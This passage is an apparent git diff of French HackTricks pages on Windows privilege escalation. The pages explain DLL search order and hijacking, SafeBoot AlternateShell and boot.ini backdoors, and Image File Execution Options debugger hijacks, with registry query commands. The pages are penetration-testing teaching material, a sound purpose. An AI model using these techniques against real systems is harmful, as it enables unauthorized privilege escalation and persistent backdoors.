Enfin, notez qu'une DLL peut être chargée en indiquant le chemin absolu au lieu du simple nom. Dans ce cas, cette DLL ne sera **recherchée que dans ce chemin** (si la DLL a des dépendances, elles seront recherchées en utilisant uniquement leur nom).
|
||||
Enfin, notez qu'une DLL peut être chargée en indiquant le chemin absolu au lieu du simple nom. Dans ce cas, cette DLL **sera uniquement recherchée dans ce chemin** (si la DLL a des dépendances, elles seront recherchées en utilisant uniquement leur nom).
|
||||
|
||||
Il existe d'autres façons de modifier l'ordre de recherche, mais je ne vais pas les expliquer ici.
|
||||
|
||||
|
@ -80,7 +80,7 @@ Il existe d'autres façons de modifier l'ordre de recherche, mais je ne vais pas
|
|||
|
||||
* Si une **DLL avec le même nom de module est déjà chargée en mémoire**, le système vérifie uniquement la redirection et un manifeste avant de résoudre la DLL chargée, quel que soit le répertoire dans lequel elle se trouve. **Le système ne recherche pas la DLL**.
|
||||
* Si la DLL est dans la liste des **DLL connues** pour la version de Windows sur laquelle l'application s'exécute, le **système utilise sa copie de la DLL connue** (et les DLL dépendantes de la DLL connue, le cas échéant) **au lieu de rechercher** la DLL. Pour obtenir la liste des DLL connues sur le système actuel, consultez la clé de registre suivante : **HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**.
|
||||
* Si une DLL a des dépendances, le système **recherche** les DLL dépendantes comme si elles étaient chargées avec seulement leurs **noms de module**. Cela est vrai **même si la première DLL a été chargée en spécifiant un chemin complet**.
|
||||
* Si une DLL a des dépendances, le système **recherche** les DLL dépendantes comme si elles étaient chargées uniquement avec leurs **noms de module**. Cela est vrai **même si la première DLL a été chargée en spécifiant un chemin complet**.
|
||||
|
||||
### Escalade de privilèges
|
||||
|
||||
|
@ -89,8 +89,8 @@ Il existe d'autres façons de modifier l'ordre de recherche, mais je ne vais pas
|
|||
* **Trouver un processus** qui s'exécute/va s'exécuter avec **d'autres privilèges** (mouvement horizontal/lateral) et qui **manque d'une DLL**.
|
||||
* Avoir **l'autorisation d'écriture** dans n'importe quel **dossier** où la DLL va être **recherchée** (probablement le répertoire de l'exécutable ou un dossier dans le chemin système).
|
||||
|
||||
Oui, les prérequis sont difficiles à trouver car **par défaut, il est assez étrange de trouver un exécutable privilégié qui manque d'une DLL** et c'est encore **plus étrange d'avoir des autorisations d'écriture sur un dossier du chemin système** (vous ne pouvez pas par défaut). Mais, dans des environnements mal configurés, cela est possible.\
|
||||
Dans le cas où vous avez de la chance et que vous vous trouvez dans cette situation, vous pouvez consulter le projet [UACME](https://github.com/hfiref0x/UACME). Même si l'**objectif principal du projet est de contourner l'UAC**, vous pouvez y trouver une **preuve de concept** d'un détournement de DLL pour la version de Windows que vous pouvez utiliser (en changeant probablement le chemin du dossier où vous avez des autorisations d'écriture).
|
||||
Oui, les prérequis sont difficiles à trouver car **par défaut, il est assez étrange de trouver un exécutable privilégié qui manque d'une DLL** et c'est encore **plus étrange d'avoir l'autorisation d'écriture dans un dossier du chemin système** (vous ne pouvez pas par défaut). Mais, dans des environnements mal configurés, cela est possible.\
|
||||
Dans le cas où vous avez de la chance et que vous vous trouvez dans cette situation, vous pouvez consulter le projet [UACME](https://github.com/hfiref0x/UACME). Même si l'**objectif principal du projet est de contourner l'UAC**, vous y trouverez peut-être une **preuve de concept** d'un détournement de DLL pour la version de Windows que vous pouvez utiliser (en changeant probablement le chemin du dossier où vous avez l'autorisation d'écriture).
|
||||
|
||||
Notez que vous pouvez **vérifier vos autorisations dans un dossier** en utilisant :
|
||||
```bash
|
||||
|
@ -227,9 +227,9 @@ break;
|
|||
return TRUE;
|
||||
}
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -237,7 +237,7 @@ Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -217,7 +217,7 @@ Cependant, vous pouvez créer une option de démarrage pour ne pas avoir à appu
|
|||
4. Enregistrez le fichier.
|
||||
5. Réappliquez les autorisations correctes (attrib c:\boot.ini +r +s +h).
|
||||
|
||||
Info provenant [ici](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell).
|
||||
Informations provenant [ici](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell).
|
||||
|
||||
{% hint style="info" %}
|
||||
**Exploit 1:** Si vous pouvez modifier cette clé de registre, vous pouvez pointer votre porte dérobée.
|
||||
|
@ -228,7 +228,7 @@ Info provenant [ici](https://www.itprotoday.com/cloud-computing/how-can-i-add-bo
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**Exploit 3 (Permissions d'écriture sur le PATH et le fichier boot.ini)** : Si vous pouvez écrire dans boot.ini, vous pouvez automatiser le démarrage en mode sans échec pour le prochain redémarrage.
|
||||
**Exploit 3 (Permissions d'écriture sur le PATH et le boot.ini)** : Si vous pouvez écrire dans boot.ini, vous pouvez automatiser le démarrage en mode sans échec pour le prochain redémarrage.
|
||||
{% endhint %}
|
||||
```bash
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
|
||||
|
@ -304,15 +304,15 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\she
|
|||
```
|
||||
### Options d'exécution des fichiers image
|
||||
|
||||
Les Options d'exécution des fichiers image sont une fonctionnalité de Windows qui permet de spécifier des actions à effectuer lorsqu'un programme est lancé. Cela peut être utilisé à des fins de débogage ou de surveillance, mais peut également être exploité par des attaquants pour obtenir des privilèges élevés.
|
||||
Les options d'exécution des fichiers image sont une fonctionnalité de Windows qui permet de spécifier des actions à effectuer lorsqu'un programme est lancé. Cela peut être utilisé à des fins de débogage, mais peut également être exploité par des attaquants pour obtenir des privilèges élevés.
|
||||
|
||||
L'une des utilisations courantes de cette fonctionnalité est l'escalade de privilèges locale en utilisant des binaires d'autorun. Les binaires d'autorun sont des programmes qui sont automatiquement exécutés lorsqu'un utilisateur se connecte à un système. En exploitant les Options d'exécution des fichiers image, un attaquant peut remplacer un binaire d'autorun légitime par un binaire malveillant, ce qui lui permet d'obtenir des privilèges élevés lors de la prochaine connexion de l'utilisateur.
|
||||
L'une des utilisations courantes de cette fonctionnalité est de configurer un binaire autorun pour s'exécuter chaque fois qu'un programme spécifique est lancé. Cela peut être réalisé en ajoutant une clé de registre sous `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`. Le nom de la clé doit correspondre au nom du programme que vous souhaitez cibler.
|
||||
|
||||
Pour exploiter cette vulnérabilité, l'attaquant doit d'abord identifier un binaire d'autorun légitime qui est exécuté avec des privilèges élevés. Ensuite, il doit créer une clé de registre dans `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` avec le nom du binaire d'autorun légitime. Dans cette clé de registre, l'attaquant peut spécifier le chemin d'accès du binaire malveillant à exécuter à la place.
|
||||
Une fois que la clé de registre est ajoutée, vous pouvez spécifier le chemin du binaire autorun dans la valeur `Debugger`. Lorsque le programme ciblé est lancé, le binaire autorun sera exécuté à la place.
|
||||
|
||||
Lorsque l'utilisateur se connecte au système, le binaire malveillant sera exécuté avec les privilèges élevés du binaire d'autorun légitime, ce qui permet à l'attaquant d'obtenir un accès privilégié au système.
|
||||
Cela peut être utilisé pour escalader les privilèges locaux en remplaçant un programme système légitime par un binaire malveillant. Lorsque le programme système est lancé, le binaire malveillant sera exécuté avec les privilèges élevés du programme système.
|
||||
|
||||
Pour se protéger contre cette technique d'escalade de privilèges, il est recommandé de restreindre les autorisations d'écriture sur les clés de registre liées aux Options d'exécution des fichiers image. De plus, il est important de surveiller les modifications apportées à ces clés de registre et de vérifier régulièrement l'intégrité des binaires d'autorun légitimes.
|
||||
Pour éviter cette technique d'escalade de privilèges, il est recommandé de restreindre les autorisations d'écriture sur les clés de registre liées aux options d'exécution des fichiers image. De plus, il est important de surveiller les modifications apportées à ces clés de registre pour détecter toute activité suspecte.
|
||||
```
|
||||
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
|
||||
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
|
||||
|
@ -333,7 +333,7 @@ Trouvez plus d'Autoruns comme les registres dans [https://www.microsoftpressstor
|
|||
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
|
||||
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
|